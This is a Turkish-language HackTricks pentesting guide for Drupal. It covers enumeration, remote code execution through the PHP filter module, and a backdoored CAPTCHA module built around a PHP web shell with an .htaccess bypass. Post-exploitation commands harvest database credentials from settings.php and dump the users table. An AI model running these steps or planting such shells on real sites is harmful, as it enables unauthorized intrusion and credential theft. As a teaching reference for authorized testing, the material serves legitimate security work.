hacktricks/network-services-pentesting/pentesting-web/drupal.md

188 lines
9.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Drupal
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Keşif
* **meta**'yı kontrol edin
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Node**: Drupal **içeriği düğümler kullanarak dizinler**. Bir düğüm herhangi bir şeyi içerebilir, örneğin bir blog yazısı, anket, makale vb. Sayfa URI'leri genellikle `/node/<düğüm kimliği>` şeklindedir.
```bash
curl drupal-site.com/node/1
```
## Numaralandırma
Drupal varsayılan olarak **üç tür kullanıcıyı** destekler:
1. **`Yönetici`**: Bu kullanıcı Drupal web sitesi üzerinde tam kontrol sahibidir.
2. **`Doğrulanmış Kullanıcı`**: Bu kullanıcılar web sitesine giriş yapabilir ve izinlerine bağlı olarak makale ekleyebilir ve düzenleyebilir.
3. **`Anonim`**: Tüm web sitesi ziyaretçileri anonim olarak belirlenir. Varsayılan olarak, bu kullanıcılara yalnızca gönderileri okuma izni verilir.
### Sürüm
* `/CHANGELOG.txt` dosyasını kontrol edin.
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupal'ın daha yeni kurulumları varsayılan olarak `CHANGELOG.txt` ve `README.txt` dosyalarına erişimi engeller.
{% endhint %}
### Kullanıcı adı numaralandırma
#### Kayıt
_/user/register_ adresinde sadece bir kullanıcı adı oluşturmayı deneyin ve eğer ad zaten alınmışsa bildirim alırsınız:
![](<../../.gitbook/assets/image (328).png>)
#### Yeni şifre iste
Mevcut bir kullanıcı adı için yeni bir şifre isterseniz:
![](<../../.gitbook/assets/image (903).png>)
Mevcut olmayan bir kullanıcı adı için yeni bir şifre isterseniz:
![](<../../.gitbook/assets/image (307).png>)
### Kullanıcı sayısını al
_/user/\<number>_ adresine erişerek mevcut kullanıcı sayısını görebilirsiniz, bu durumda _/users/3_ adresi bulunamadı hatası döndürür:
![](<../../.gitbook/assets/image (333).png>)
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
### Gizli sayfalar
**`/node/$` şeklinde bir sorgulama yapın, burada `$` bir numaradır** (örneğin 1 ile 500 arasında).\
Bu şekilde **gizli sayfalar** (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans gösterilmez.
#### Kurulu modüller bilgisi
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
### Otomatik
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
### PHP Filtre Modülü ile
{% hint style="warning" %}
Drupal'ın **(8. sürümden önceki sürümlerinde)** eski sürümlerinde, bir yönetici olarak giriş yaparak **`PHP filtresi` modülünü etkinleştirmek** mümkündü, bu da "Gömülü PHP kod/dilimlerinin değerlendirilmesine izin verir."
{% endhint %}
**Eklentinin php olarak yüklü olması gerekmektedir** (_/modules/php_ adresine erişerek kontrol edin ve eğer **403** dönerse, **mevcut**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değil demektir**)
_Modüller_ -> (**Kontrol Et**) _PHP Filtresi_ -> _Yapılandırmayı Kaydet_
![](<../../.gitbook/assets/image (247) (1).png>)
Ardından _İçerik Ekle_'ye tıklayın -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdede php kabuk kodunu yazın_ -> _Metin biçiminde_ _PHP kodu_ seçin -> _Önizleme_ seçin
![](<../../.gitbook/assets/image (338).png>)
Son olarak sadece yeni oluşturulan düğüme erişin:
```bash
curl http://drupal-site.local/node/3
```
### PHP Filtre Modülünü Yükle
**8 ve sonraki sürümlerden itibaren**, [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak yüklenmez**. Bu işlevselliği kullanabilmek için **modülü kendimiz yüklememiz gerekecek**.
1. Modülün en güncel sürümünü Drupal web sitesinden indirin.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. İndirildikten sonra **`Yönetim`** > **`Raporlar`** > **`Kullanılabilir güncellemeler`** bölümüne gidin.
4. **`Göz at`**'a tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Yükle`**'ye tıklayın.
5. Modül yüklendikten sonra **`İçerik`**'e tıklayabilir ve Drupal 7 örneğinde yaptığımız gibi **yeni bir temel sayfa oluşturabiliriz**. Yine, **`Metin biçimi`ılır menüsünden `PHP kodu`'nu seçtiğinizden emin olun**.
### Arka Kapılı Modül
Bir arka kapılı modül, **mevcut bir modüle bir kabuk ekleyerek oluşturulabilir**. Modüller drupal.org web sitesinde bulunabilir. [CAPTCHA](https://www.drupal.org/project/captcha) gibi bir modül seçelim. Aşağı kaydırın ve tar.gz [arşivi](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) için bağlantıyı kopyalayın.
* Arşivi indirin ve içeriğini çıkarın.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* İçeriği olan bir **PHP web kabuğu** oluşturun:
```php
<?php
system($_GET["cmd"]);
?>
```
* Ardından, kendimize klasöre erişim sağlamak için bir **`.htaccess`** dosyası oluşturmamız gerekiyor. Bu, Drupal'ın **`/modules`** klasörüne doğrudan erişimi reddettiği için gereklidir.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Yukarıdaki yapılandırma, /modules içinde bir dosya istediğimizde / klasörü için kurallar uygulayacaktır. Her iki dosyayı da captcha klasörüne kopyalayın ve bir arşiv oluşturun.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Websiteye **yönetici erişimine** sahip olduğumuzu varsayarak, **`Yönet`** üzerine tıklayın ve ardından kenar çubuğunda **`Genişlet`** seçeneğine tıklayın. Daha sonra **`+ Yeni modül yükle`** düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin `http://drupal-site.local/admin/modules/install` Arkaplandan eklenmiş Captcha arşivine göz atın ve **`Yükle`**'ye tıklayın.
* Yükleme başarılı olduktan sonra, komutları yürütmek için **`/modules/captcha/shell.php`** sayfasına göz atın.
## Sonrası Sızma
### settings.php dosyasını okuyun
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### Veritabanından Kullanıcıları Dökün
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
## Referanslar
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>